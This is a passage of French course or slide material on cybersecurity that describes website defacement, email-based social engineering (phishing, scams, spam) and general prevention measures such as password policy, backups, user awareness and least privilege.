L'attaquant cherche à modifier le contenu du site web ou le rendre indisponible en exploitant une faille de programmation. L'objectif principal est d'exprimer les revendications d'un pirate (Hacktiviste). Ainsi les principales cibles sont des organisations gouvernementales ou des sites religieux.

Dans les entreprises des scripts sont créés afin de détecter le changement du contenu de leurs sites web ou bien le changement de la taille de ces derniers.

III. Méthodes d'attaques

6. Les attaques par messagerie électronique (Ingénierie sociale)

Ce type t'attaques se base sur la manipulation et l'influence des internautes afin d'obtenir quelque chose en retour (Argent, information confidentielle, etc.). Dans ce cas, la faille humaine est la clé pour la réussite de ces attaques.

Ces attaques sont difficile à détecter par les technologies de protection. Nous citons quelques exemples d'attaques via la messagerie électronique:

III. Méthodes d'attaques

d. Phishing ou Hameçonnage : parmi les techniques d'ingénierie sociale les plus utilisées. Cette attaque consiste à récupérer des informations personnelles (carte de crédit, mot de passe, etc.), et l'attaquant se fera passer par une entité ou un organisme en mettant en avance des copies visuelles d'un site faisant ainsi croire à l'utilisateur légitime qu'il s'adresse à la vraie entité.

e. Le Scam ou Fraude: L'objectif principale de cette technique et d'escroquer les internautes en se faisant passer par un héritier par exemple et afin de transférer les fonds il a besoin de l'aide d'un intermédiaire (l'utilisateur ayant reçu le mail) qui doit faire la première transaction et qu'il sera bien sûr récompensé.

f. Le SPAM ou Pourriel: Il s'agit souvent des mails envoyés de façon répétée à des fins publicitaires sans aucune sollicitation au préalable de

IV. Quelques éléments de préventions des attaques

Les mots de passe: Utilisation de politique de mot de passe stricte, long et difficile à deviner, avec un changement régulier de ce dernier et ne pas utiliser le même mot de passe sur différentes plateformes.

Les outils de sécurité: Installation de plusieurs outils de sécurité (AV, FW, Proxy, IDS/IPS, WAF, etc) sur plusieurs niveaux, les mettre à jour et faire des scans réguliers.

La veille: Vérification constante des systèmes et s'assurer qu'il n y pas des modifications ou accès non autorisés sur ces derniers. La veille consiste aussi à être à jour sur les nouvelles vulnérabilités sur les différentes technologies utilisées au sein de l'entreprise et l'application des correctifs (patchs).

La sauvegarde: Faire des sauvegardes permettra de récupérer le système en cas d'attaque(s).

La Sensibilisation: Consiste à sensibiliser les utilisateurs au sein de l'entreprise aux risques en terme de sécurité, et lancer des campagnes de sensibilisation afin d'évaluer le niveau de conscience des employeurs vis à vis aux attaques.

La vigilance: Il faut rester constamment vigilant et faire des vérifications périodiques des machines via des sessions d'audit.

La limitation des droits ou de privilèges: Les utilisateurs doivent pouvoir accéder qu'aux ressources dont ils ont besoin.

Utilisation des VPN: Protéger le périmètre en utilisant le VPN pour accéder aux divers réseaux géographiquement séparés